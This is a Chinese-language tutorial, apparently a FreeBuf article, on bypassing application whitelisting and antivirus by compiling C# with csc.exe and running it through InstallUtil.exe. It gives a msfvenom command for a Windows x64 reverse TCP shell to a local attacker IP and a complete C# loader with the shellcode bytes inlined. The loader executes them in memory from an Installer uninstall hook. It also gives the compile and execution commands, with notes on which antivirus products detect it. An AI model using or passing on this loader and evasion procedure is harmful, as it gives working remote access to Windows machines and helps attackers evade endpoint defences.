CSC.exe介绍
csc.exe是微软.NET Framework中的C#语言编译器,对于系统正常运行来说至关重要,缺少它或是出现错误可能会造成部分软件或游戏无法正常运行。安装过.NET的系统才会有csc.exe进程。
Installer.exe
Installer工具是一个命令行实用程序,允许您通过执行指定程序集中的安装程序组件来安装和卸载服务器资源。此工具与System.Configuration.Install命名空间中的类一起使用。Installer.exe与csc.exe存在同一目录。本文的核心主要是利用Installer.exe去运行csc.exe编译好的exe程序,该姿势属于白名单绕过免杀的手法。
利用须知
- 需要Administrators管理员权限去运行csc.exe、InstallUtil.exe
- 在2个不同目录下都存在csc.exe程序:
- C:\Windows\Microsoft.NET\Framework64\[.NET Version]\csc.exe
- C:\Windows\Microsoft.NET\Framework\[.NET Version]\csc.exe
上面有描述到"[.NET Version]",这个字符串表示的是你系统当前的.NET版本,而我的.NET版本是v4.0.30319,另外根据系统架构进行选择32 or 64位。
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
如果报错内容如下图所示,报"拒绝访问",则表示没有用Administrators权限去启动csc.exe程序
利用过程
通过Metasploit下的Evasion免杀模块生成一个"带有恶意内容"的txt文本,选择" evasion/windows/applocker_evasion_install_util "。
配置相关参数,txt文本默认的名字就是"install_util.txt",可以在本地或者目标电脑上调用csc.exe编译器,将"install_util.txt"编译成exe程序,再在目标电脑上借助其本地的InstallUtil.exe运行刚才编译好的exe程序。必须要用InstallUtil.exe去执行刚才生成的exe文件(也需要Administrators权限)
执行之后可以看到成功上线至Metasploit(未开杀毒软件)
cd 到csc.exe目录用管理员权限执行:csc.exe /out:install_util.exe install_util.txt 再用管理员权限去调用InstallUtil.exe去执行 InstallUtil.exe /logfile= /LogToConsole=false /U install_util.exe 会出现cmd窗口闪一下,即运行成功,但是生成的install_util.exe会被杀软查杀掉。
C#脚本免杀
但由于上述csc.exe生成出来的install_util.exe会被杀软杀掉。在网上翻查资料发现micro8大佬的一种免杀方式(点击查看大佬文章细节),通过msfvenom生成C#的shellcode并且将其加入到micro8大佬的C#免杀脚本中。
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.244.136 LPORT=4444 -f csharp
C#免杀脚本代码如下,把生成的C# shellcode替换进去
using System; using System.Net; using System.Diagnostics; using System.Reflection; using System.Configuration.Install; using System.Runtime.InteropServices; // msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.244.136 LPORT=4444 -f csharp public class Program { public static void Main() { } } [System.ComponentModel.RunInstaller(true)] public class Sample : System.Configuration.Install.Installer { public override void Uninstall(System.Collections.IDictionary savedState) { Shellcode.Exec(); } } public class Shellcode { public static void Exec() { byte[] shellcode = new byte[510] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x4d,0x31,0xc9,0x48,0x0f,0xb7,0x4a,0x4a,0x48,
0x8b,0x72,0x50,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,
0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0x50,
0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,
0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,0x0d,0xac,0x41,
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
0x41,0x8b,0x04,0x88,0x41,0x58,0x41,0x58,0x48,0x01,0xd0,0x5e,
0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,
0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,
0x01,0x00,0x00,0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x11,0x5c,
0xc0,0xa8,0xf4,0x88,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,
0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,
0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,
0xd5,0x6a,0x0a,0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,
0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,
0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,
0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,
0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,
0xce,0x75,0xe5,0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,
0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x04,0x41,0x58,0x48,0x89,
0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,
0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,
0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,
0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,
0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,
0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,
0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,
0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,
0x30,0xff,0xd5,0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,
0xd5,0x49,0xff,0xce,0xe9,0x3c,0xff,0xff,0xff,0x48,0x01,0xc3,
0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,0xff,0xe7,0x58,
0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb4,0xa2,0x56,0xff,0xd5}; UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; IntPtr pinfo = IntPtr.Zero; hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); } private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32")] private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType); [DllImport("kernel32")] private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId ); [DllImport("kernel32")] private static extern bool CloseHandle(IntPtr handle); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds ); [DllImport("kernel32")] private static extern IntPtr GetModuleHandle( string moduleName ); [DllImport("kernel32")] private static extern UInt32 GetProcAddress( IntPtr hModule, string procName ); [DllImport("kernel32")] private static extern UInt32 LoadLibrary( string lpFileName ); [DllImport("kernel32")] private static extern UInt32 GetLastError(); }
调用csc.exe对C#免杀脚本进行编译,如下是一整条cmd命令
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Micopoor.exe /platform:x64 /unsafe C:\Users\xxx\Desktop\Micropoor_Csc.cs
再执行 InstallUtil.exe /logfile= /LogToConsole=false /U Micropoor.exe 发现被360拦截。通过对比,发现360在生成恶意exe的第一时间未能杀掉,而火绒则立马杀掉生成的Micropoor.exe。进一步加壳之后发现未能检测出是恶意程序,但是在调用InstallUtil.exe时,360以及火绒均出现拦截行为。
最后总结
目前这个csc.exe+InstallUtil.exe去绕过杀软的方式几乎被查杀了,实际还是流氓软件的问题.....拦截InstallUtil.exe的执行行为。本文主要记录此种免杀手法的具体过程。主要被查杀的部分是用csc.exe去编译"install_util.txt"文本时生成出来的exe程序会被杀掉。这一里可以尝试进行加壳去绕一下杀软,另外该类免杀手法需要获得Administrators权限,如果当前权限低于管理员权限的话,后续还需要进行权限提升。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)